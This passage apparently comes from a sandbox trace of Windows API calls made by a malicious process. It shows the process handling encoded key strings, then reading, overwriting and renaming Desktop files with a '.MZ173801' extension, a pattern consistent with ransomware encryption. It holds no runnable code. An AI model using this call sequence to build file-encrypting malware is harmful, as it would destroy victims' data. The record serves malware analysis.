lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0176.733] GetCurrentThreadId () returned 0xab4 [0176.733] GetCurrentThreadId () returned 0xab4 [0176.733] GetCurrentThreadId () returned 0xab4 [0176.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.734] GetCurrentThreadId () returned 0xab4 [0176.734] GetCurrentThreadId () returned 0xab4 [0176.734] GetCurrentThreadId () returned 0xab4 [0176.735] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UV46w2I sa.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\uv46w2i sa.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.735] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.735] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.735] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x5282 [0176.735] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.735] ReadFile (in: hFile=0x328, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x5282, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x5282, lpOverlapped=0x0) returned 1 [0176.736] CloseHandle (hObject=0x328) returned 1 [0176.737] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\UV46w2I sa.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\uv46w2i sa.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.738] WriteFile (in: hFile=0x328, lpBuffer=0x24a6040*, nNumberOfBytesToWrite=0x5282, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a6040*, lpNumberOfBytesWritten=0x19fa24*=0x5282, lpOverlapped=0x0) returned 1 [0176.740] CloseHandle (hObject=0x328) returned 1 [0176.740] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\UV46w2I sa.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\uv46w2i sa.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\UV46w2I sa.flv.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\uv46w2i sa.flv.mz173801")) returned 1 [0176.741] GetCurrentThreadId () returned 0xab4 [0176.741] GetCurrentThreadId () returned 0xab4 [0176.741] GetCurrentThreadId () returned 0xab4 [0176.741] GetCurrentThreadId () returned 0xab4 [0176.741] GetCurrentThreadId () returned 0xab4 [0176.741] GetCurrentThreadId () returned 0xab4 [0176.741] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc752b0, ftCreationTime.dwHighDateTime=0x1d5f0d3, ftLastAccessTime.dwLowDateTime=0xf89b6070, ftLastAccessTime.dwHighDateTime=0x1d5e7ef, ftLastWriteTime.dwLowDateTime=0xf89b6070, ftLastWriteTime.dwHighDateTime=0x1d5e7ef, nFileSizeHigh=0x0, nFileSizeLow=0x844c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="vB8zsHUk.bmp", cAlternateFileName="")) returned 1 [0176.741] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.741] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.741] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vB8zsHUk.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\vb8zshuk.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc752b0, ftCreationTime.dwHighDateTime=0x1d5f0d3, ftLastAccessTime.dwLowDateTime=0xf89b6070, ftLastAccessTime.dwHighDateTime=0x1d5e7ef, ftLastWriteTime.dwLowDateTime=0xf89b6070, ftLastWriteTime.dwHighDateTime=0x1d5e7ef, nFileSizeHigh=0x0, nFileSizeLow=0x844c)) returned 1 [0176.741] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\vB8zsHUk.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\vb8zshuk.bmp")) returned 0x20 [0176.741] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\vB8zsHUk.bmp", dwFileAttributes=0x80) returned 1 [0176.744] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.744] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.745] GetCurrentThreadId () returned 0xab4 [0176.745] GetCurrentThreadId () returned 0xab4 [0176.745] GetCurrentThreadId () returned 0xab4 [0176.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 